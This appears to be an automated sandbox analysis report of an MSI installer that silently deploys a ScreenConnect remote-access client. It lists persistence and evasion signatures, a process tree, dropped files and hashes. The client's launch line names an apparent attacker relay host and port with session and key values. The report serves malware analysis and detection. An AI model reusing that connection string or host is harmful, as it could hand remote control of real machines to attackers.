Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/04/2026, 10:04

General

  • Target
    _a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d.msi
  • Size 12.7MB
  • Sample260420-l4emmsft2q
  • SHA256 a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\_a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4332
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4508
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A3ED79DAEEA879D56F9B8DBBBDE72B66 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI23A0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240657562 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3936
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5532
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E04F8E6E8391963488186A1D1164006D
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3020
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E71157BA2E9BAC37A941BA83BEAD52E1 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4104
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5024
    • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=dwssa.top&p=8041&s=d9326b84-20c7-4de6-97a8-8f8dde5242b0&k=BgIAAACkAABSU0ExAAgAAAEAAQBtA1QwnxmDJgtg5PSQKM2%2fXrI5tSvGXmobxKkpApfKRxNFds%2bAugKwIdxjohpe2e5g3JX%2bNW7Ud7QqxEwJCnkQ2P74R9wWgjFP9TldixXqM%2bjDxYI%2ffVSSK8Z5VPE3KZihrLqX7XnUCm7hKENugXVTpRbEY8if4It1oTHHdD%2f6%2fd%2b3uhTNg%2f418AN6A6GJf22t%2ffti0quDPPZ1kpkEmolUJDEH6pp%2f1UhDr7dtzVjA4iFa0Dp6sUth%2bKKk0UIO%2bBogCEAgcVyvPFToAf%2f0XH4g7geDuLAukDSN7N1AleZY9WkZ9n4q%2fW1rl6lvyAD1YPR3y%2ffpaKIxtGEjS4KCDZzD&c=Transport%2012%20may&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "f9c83b72-70f8-4051-9683-5c99dcda3f71" "User"
        2⤵
        • Executes dropped EXE
        PID:2204
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "91b47269-36d3-400c-88ef-43dd6529f2ab" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1444

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e585b7a.rbs

          • Path C:\Config.Msi\e585b7a.rbs
          • Size 214KB
          • SHA256 f5ff0998d82ae641159f1577a40327aa7c59b47835d3f64be19955adc8888374
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.en-US.resources
          • Size 273B
          • SHA256 9fe5c3b34d425e03f2c989339e51bbff467ce8c85aa28368b86d7dae82376432
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.resources
          • Size 257B
          • SHA256 881a6833d2845154005f4ca1df7302b531ba0076215278f3bac85fa889bcef40
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\app.config
          • Size 1KB
          • SHA256 e8b6f0e908926adc2c1fed9621697b083a20ce0f373b1f6aa00b649569f3f8cd
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\system.config
          • Size 947B
          • SHA256 4ee0491508c34424637f368d17cb2f6a1345a02ee6840e2b4898e6f83522979d
          • MD5 SHA1 SHA512 TLSH

          MSI23A0.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI23A0.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI23A0.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI23A0.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI23A0.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI23A0.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI5C93.tmp

          • Path C:\Windows\Installer\MSI5C93.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e585b79.msi

          • Path C:\Windows\Installer\e585b79.msi
          • Size 12.7MB
          • SHA256 a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 7e0e2bab7d0d4e87e80e1e01c8e0a451bc50d667cabb33b189c101f8edb29ad4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {dc7e3770-dc4c-4b11-9a8a-1940261a2ef9}_OnDiskSnapshotProp

          • Path \??\Volume{9925377d-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{dc7e3770-dc4c-4b11-9a8a-1940261a2ef9}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 54d4fe769603cfe4ad8e8243a0b298c12b5c46a7af90f3e0d4bff14309caa215
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1444-132-0x0000000000860000-0x000000000086C000-memory.dmp

          memory/1724-103-0x0000000000DB0000-0x0000000001031000-memory.dmp

          memory/1724-38-0x0000000000DB0000-0x0000000001031000-memory.dmp

          memory/2204-124-0x0000000002E30000-0x0000000002E66000-memory.dmp

          memory/2204-135-0x0000000001600000-0x000000000160C000-memory.dmp

          memory/2204-129-0x0000000002E70000-0x0000000002E88000-memory.dmp

          memory/2204-128-0x0000000001640000-0x0000000001658000-memory.dmp

          memory/2204-127-0x000000001C170000-0x000000001C2F6000-memory.dmp

          memory/2204-123-0x0000000000DF0000-0x0000000000E86000-memory.dmp

          memory/2204-125-0x000000001B920000-0x000000001B9AC000-memory.dmp

          memory/2204-126-0x000000001BFC0000-0x000000001C16A000-memory.dmp

          memory/2328-78-0x0000000001370000-0x0000000001388000-memory.dmp

          memory/2328-100-0x0000000003C90000-0x0000000003CE0000-memory.dmp

          memory/2328-110-0x0000000003D20000-0x0000000003D61000-memory.dmp

          memory/2328-107-0x0000000003CE0000-0x0000000003D16000-memory.dmp

          memory/2328-108-0x0000000003FD0000-0x0000000004062000-memory.dmp

          memory/2328-112-0x00000000041B0000-0x0000000004282000-memory.dmp

          memory/3020-101-0x0000000000C20000-0x0000000000EA1000-memory.dmp

          memory/3936-31-0x0000000005400000-0x00000000059A4000-memory.dmp

          memory/3936-37-0x00000000008C0000-0x0000000000B41000-memory.dmp

          memory/3936-26-0x0000000004A60000-0x0000000004AEC000-memory.dmp

          memory/3936-22-0x00000000049C0000-0x00000000049CA000-memory.dmp

          memory/3936-18-0x0000000004990000-0x00000000049BE000-memory.dmp

          memory/3936-30-0x0000000004CA0000-0x0000000004E4A000-memory.dmp

          memory/4104-104-0x0000000001230000-0x00000000014B1000-memory.dmp